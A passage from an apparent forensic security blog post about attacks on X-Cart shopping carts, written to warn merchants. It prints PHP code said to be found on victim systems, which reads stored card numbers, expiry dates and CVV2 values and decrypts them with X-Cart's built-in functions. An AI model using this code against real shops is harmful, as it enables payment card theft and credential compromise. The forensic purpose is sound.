Recently I've found myself performing a lot of forensic examinations of X-Cart shopping carts. This isn't surprising: X-Cart is a very widely adopted and relatively low cost shopping cart platform. Its popularity makes it an attractive target for attackers because the large number of target installs makes it easier for them to get a return on the investment required to understand and develop tools to compromise the platform.
It is also an attractive target because many X-Cart users are small organisations who don't have a huge budget to maintain their online presence. Because of this, many X-Cart installs are missing security patches and/or haven't been configured according to best practice.
I spoke about e-commerce compromises in my Five E-Commerce Security Myths blog posts a few months ago. In those posts I pointed out that most merchants didn't know that they were actually storing payment card data, or that they believed that stored card data was encrypted. This is especially true of merchants using X-Cart, possibly due to X-Cart's messaging around PCI-DSS and cardholder data encryption.
Most X-Cart installs that we see are either storing payment card data for use in a "Store and Download" processing methodology, or they are using a Third-party Payment Gateway API. Most merchants using a "Store and Download" model are working under the assumption that a) they are safe because the data is encrypted and b) that cardholder data removed once a transaction has been processed. Unfortunately these two assumptions are false.
Whilst it is true that most X-Cart installs encrypt stored payment card data, attackers have tried and tested techniques for reversing this encryption. Whilst we imagine that our encrypted data will take thousands of years and a foreign intelligence agency to break, the truth is more like the famous XKCD "crypto wrench" comic about encryption - the attackers just take a different path to achieve the same result in minutes.
We commonly see code similar to following 15 lines of PHP on victim systems:
DEFINE('XCART_START', true);
require_once('blowfish.php');
require_once('func.crypt.php');
require_once('config.php');
$blowfish = new ctBlowfish();
$my_link = mysql_connect($db_host, $db_user, $db_password);
$my_link = mysql_select_db($db_name, $my_link);
$result = mysql_query("select id, card_name, card_number, card_expire, card_cvv2 from xcart_customers where card_number <> ''");
while ($row = mysql_fetch_assoc($result)) {
print text_decrypt($row['card_number'])
}
Simple, huh? When the above code is executed it will go ahead and use the decryption functions built into X-Cart to decrypt the stored data for the attacker. X-Cart use the same encryption methods to store their login credentials as well, so an attacker with the ability to run the above code will also obtain all of the administrator's usernames and passwords.
Of course, attackers first need to gain the ability to run the above PHP code in the victim environment. There are a number of ways that we see this happen:
Missing X-Cart patches - There are a number of publicly disclosed, serious security flaws in older versions of X-Cart. Attackers know about and make use of these to inject malicious software into victim environments.
So what to do about all of this? The same three recommendations from my previous blog posts still apply: